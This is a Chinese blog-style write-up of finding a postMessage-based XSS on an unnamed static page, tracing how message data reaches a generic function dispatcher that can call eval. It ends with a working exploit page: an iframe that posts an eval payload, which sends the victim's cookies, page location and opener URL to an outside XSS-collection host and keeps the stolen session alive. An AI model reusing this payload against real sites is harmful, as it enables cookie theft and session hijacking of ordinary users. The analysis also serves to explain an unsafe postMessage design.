某靜態頁面xss挖掘過程

作者:adrain

首先漏洞的url地址是一個靜態的html頁面,源碼裡面也是沒有任何接受url參數輸入的地方

但是分析可以得到的是他在監聽著meesage,那麼就可以通過給他發送message來觀察會對message怎麼進行處理。

點擊進代碼查看:

var _preDispatchHandler = function(crsDt) {n _me._preDispatch(_me, crsDt);n };n

接受的message會進入到_preDispatch中

在控制台輸入測試代碼:

window.postMessage("alert(2121)","*")n

跟蹤數據的處理流程

首先進入到函數_preDispatch中

Proxy.prototype._preDispatch = function(_this, cstDt, seq, fmt) {n var dt = cstDt.data || (cstDt.currentTarget && cstDt.currentTarget.data) || {};n var cmd = dt.split("@@@");n switch (cmd[0]) {n case "invoke":n this.invoke(cmd[1]);n break;n default:n this.dispatch(cmd[1] || cstDt, seq, fmt);n break;n }n }n

下斷點跟蹤到改函數中,

看到進入到cmd中,並且使用了@@@進行了分割。然後switch,這個更改測試代碼:

window.postMessage("invoke@@@22222","*")n

測試就會進入到invoke函數中

Proxy.prototype.invoke = function(ivk) {n var pendingInvoke;n ivk && (this.invokes.push(ivk));n while (this.isReady && (pendingInvoke = this.invokes.shift())) {n this._doInvoke(pendingInvoke);n }n }n

此時就又掉函數_doInvoke

_doInvoke: function(cmdStr) {n _qc.Console.log("invoke:t" + cmdStr);n if (typeof cmdStr != "string") {n return;n }n var pas = cmdStr.split("#"), cmdP = pas[0], args = pas[1] && pas[1].split(","), cmd;n cmd = Proxy.getFunction(cmdP);n cmd.apply(null, args);n },n

構造的數據進入

可以看到會分割成幾部分進入到Proxy.getFunction函數中

繼續跟進:

Proxy.getFunction = function(cmdP) {n var cmd;n cmdP = cmdP.split(".");n for (var i = 0; i < cmdP.length; i++) {n cmd = cmd ? cmd[cmdP[i]] : window[cmdP[i]];n }n return cmd;n }n

可以打看到這個是形成函數的,會把cmdp傳入的參數放入window[2222]中,並形成function 2222() 函數調用,上步可以看到他的參數是args

那麼重新構造poc

window.postMessage("invoke@@@alert#"+document.cookie,"*")n

成功彈出了cookie信息

但是要產生危害的話,就得需要別人訪問

首先構造的poc頁面是:

<script>nfunction xss(){nn document.getElementById("frame").contentWindow.postMessage("invoke@@@alert#"+document.domain,"*");n}n</script>nn<iframe id="frame" src="url" onload=xss()></iframe>n

發現此時的域是自己的頁面的域,是沒辦法利用的,一直覺得這個也就是個雞肋漏洞

後來想到形成的函數是window.alert(1)之類的

那麼window還有那些函數是可以利用的,查看console,看到了eval,居然忘記了這個牛逼函數

構造poc:

window.postMessage("invoke@@@eval#alert(document.cookie)","*")n

可以成功 彈出cookie信息

構造利用頁面

<script>nfunction xss(){nn document.getElementById("frame").contentWindow.postMessage("invoke@@@eval#(function(){(new Image()).src=http://www.xsss/index.php?do=api&id=JpEADJ&location=+escape((function(){try{return document.location.href}catch(e){return }})())+&toplocation=+escape((function(){try{return top.location.href}catch(e){return }})())+&cookie=+escape((function(){try{return document.cookie}catch(e){return }})())+&opener=+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:}catch(e){return }})());})(); if(1==1){keep=new Image();keep.src=http://xssss/index.php?do=keepsession&id=JpEADJ&url=+escape(document.location)+&cookie=+escape(document.cookie)};","*");n}n</script>nn<iframe id="frame" src="url" onload=xss()></iframe>n

推薦閱讀:

當心!騙子正在使用Instagram進行銀行詐騙活動
NO.17 CSS & 信息安全培訓
自動化檢測CSRF(第一章)
黑客入侵Edmodo教育平台,竊取超7千萬教師、學生和家長賬戶信息

TAG:黑客Hacker | 网络安全 | 信息安全 |